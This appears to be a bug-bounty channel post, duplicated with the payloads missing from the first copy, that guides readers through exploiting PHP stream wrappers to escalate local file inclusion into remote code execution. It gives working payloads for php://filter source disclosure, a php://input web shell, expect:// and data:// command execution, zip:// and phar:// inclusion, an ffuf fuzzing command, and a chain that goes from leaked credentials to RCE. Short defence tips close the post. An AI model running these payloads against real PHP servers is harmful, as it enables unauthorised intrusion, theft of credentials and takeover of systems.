π₯ Mastering PHP Filters & Wrappers for LFI to RCE β FULL GUIDE
β οΈMost hackers stop at reading logs.
The elite use PHP wrappers to turn LFI into remote code execution.
This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. π
π― Why PHP Wrappers Matter in Bug Bounty
As attackers, we can abuse these wrappers to:
β Read raw PHP source (even when .php is auto-appended)
β Bypass execution to leak secrets
β Chain into full RCE
β Abuse legacy or misconfigured server behavior
Commonly used wrappers:
βΆοΈ php://filter
βΆοΈ php://input
βΆοΈ php://memory
βΆοΈ data://
βΆοΈ expect://
βΆοΈ zip://
βΆοΈ phar://
𧬠Using php://filter for Source Code Disclosure
This is the most useful wrapper for LFI.
Payload:
Why it works:
β read=convert.base64-encode prevents execution of the PHP code
β Base64 output = raw, readable source
Example:
Decode result:
Now you see source code, credentials, internal logic, API keys, etc.
π§ Other Useful PHP Wrappers
1οΈβ£ php://input
Reads raw POST data.
Good for injecting code during file inclusions via POST.
Then POST:
β Shell access via cmd parameter.
2οΈβ£ expect:// (if available)
Allows direct execution of system commands.
β οΈ Rare but deadly if enabled.
3οΈβ£ data://
Inline file input using base64 or plaintext.
Example:
π‘ Executes: system('whoami')
4οΈβ£ zip://
β Targets ZIP files as file systems.
β Abuse via LFI to include malicious entries.
Structure:
Use this with file upload + LFI combo.
5οΈβ£ phar://
Deserializes metadata β use with Object Injection + LFI.
Upload malicious PHAR:
If unserialize() is called on a phar wrapper, it can lead to RCE.
π Fuzzing PHP Files Before Exploiting
Watch for:
200 β exists and renders
403/302 β access denied, but still includable via LFI
π Standard Inclusion vs. Filtered Inclusion
Including via:
π‘ Executes file, no output if file has no HTML.
Using filter:
π‘ Returns base64 source code.
π§ͺ Decode & Analyze the Source Code
Look for:
β $db_password, $admin_pass
β API endpoints
β Sensitive routes
β Hardcoded JWT secrets or keys
π£ Advanced Chaining β From LFI to RCE
Read source via php://filter
Find upload paths or SSRF endpoints
Upload malicious phar:// file
Trigger inclusion β RCE
This chain has been used in real-world bounty reports.
π§± Defense Tips for Developers:
- Disable allow_url_include, allow_url_fopen
- Avoid dynamic include($_GET['page'])
- Use strict whitelists
- Harden php.ini configs
- Monitor suspicious access patterns
π§ Daily hacking insights
π Payloads & Tools
π Real bug bounty techniques
βοΈ Hands-on exploitation walkthroughs
π Like this post if it helped
π Share to boost your hacker circle
π Github link : github.com/cybersecplayground...
#lfi #phpwrappers #bugbounty #phpfilters #rce #infosec #cybersecurity #webpentest #cybersecplayground
β οΈMost hackers stop at reading logs.
The elite use PHP wrappers to turn LFI into remote code execution.
This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. π
π― Why PHP Wrappers Matter in Bug Bounty
PHP provides built-in stream wrappers β special protocols to access I/O sources like files, memory, input/output streams, and even compressed/encrypted data.
As attackers, we can abuse these wrappers to:
β Read raw PHP source (even when .php is auto-appended)
β Bypass execution to leak secrets
β Chain into full RCE
β Abuse legacy or misconfigured server behavior
Commonly used wrappers:
βΆοΈ php://filter
βΆοΈ php://input
βΆοΈ php://memory
βΆοΈ data://
βΆοΈ expect://
βΆοΈ zip://
βΆοΈ phar://
𧬠Using php://filter for Source Code Disclosure
This is the most useful wrapper for LFI.
Payload:
php://filter/read=convert.base64-encode/resource=index
Why it works:
β read=convert.base64-encode prevents execution of the PHP code
β Base64 output = raw, readable source
Example:
http://<IP>/index.php?file=php://filter/read=convert.base64-encode/resource=config
Decode result:
echo 'PD9waHAK...base64...' | base64 -d
Now you see source code, credentials, internal logic, API keys, etc.
π§ Other Useful PHP Wrappers
1οΈβ£ php://input
Reads raw POST data.
Good for injecting code during file inclusions via POST.
<?php include('php://input'); ?>
Then POST:
POST /index.php
<?php system($_GET['cmd']); ?>
β Shell access via cmd parameter.
2οΈβ£ expect:// (if available)
Allows direct execution of system commands.
include('expect://ls');
β οΈ Rare but deadly if enabled.
3οΈβ£ data://
Inline file input using base64 or plaintext.
Example:
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==');
π‘ Executes: system('whoami')
4οΈβ£ zip://
β Targets ZIP files as file systems.
β Abuse via LFI to include malicious entries.
Structure:
zip://path/to/archive.zip#file_inside.txt
Use this with file upload + LFI combo.
5οΈβ£ phar://
Deserializes metadata β use with Object Injection + LFI.
Upload malicious PHAR:
phar://path/to/phar_file
If unserialize() is called on a phar wrapper, it can lead to RCE.
π Fuzzing PHP Files Before Exploiting
ffuf -w /opt/seclists/.../directory-list.txt -u http://<IP>/FUZZ.php
Watch for:
200 β exists and renders
403/302 β access denied, but still includable via LFI
π Standard Inclusion vs. Filtered Inclusion
Including via:
?file=config
π‘ Executes file, no output if file has no HTML.
Using filter:
?file=php://filter/read=convert.base64-encode/resource=config
π‘ Returns base64 source code.
π§ͺ Decode & Analyze the Source Code
echo 'base64-encoded-content' | base64 -d
Look for:
β $db_password, $admin_pass
β API endpoints
β Sensitive routes
β Hardcoded JWT secrets or keys
π£ Advanced Chaining β From LFI to RCE
Read source via php://filter
Find upload paths or SSRF endpoints
Upload malicious phar:// file
Trigger inclusion β RCE
This chain has been used in real-world bounty reports.
π§± Defense Tips for Developers:
- Disable allow_url_include, allow_url_fopen
- Avoid dynamic include($_GET['page'])
- Use strict whitelists
- Harden php.ini configs
- Monitor suspicious access patterns
π§ Daily hacking insights
π Payloads & Tools
π Real bug bounty techniques
βοΈ Hands-on exploitation walkthroughs
π Like this post if it helped
π Share to boost your hacker circle
π Github link : github.com/cybersecplayground...
#lfi #phpwrappers #bugbounty #phpfilters #rce #infosec #cybersecurity #webpentest #cybersecplayground
GitHub
bugbounty-Tips-and-Tricks/TIPS/Mastering-PHP-Filters.md at main Β· cybersecplayground/bugbounty-Tips-and-Tricks
A curated collection of bug bounty tips, tricks, payloads, and bypass techniques - cybersecplayground/bugbounty-Tips-and-Tricks
β€5π₯1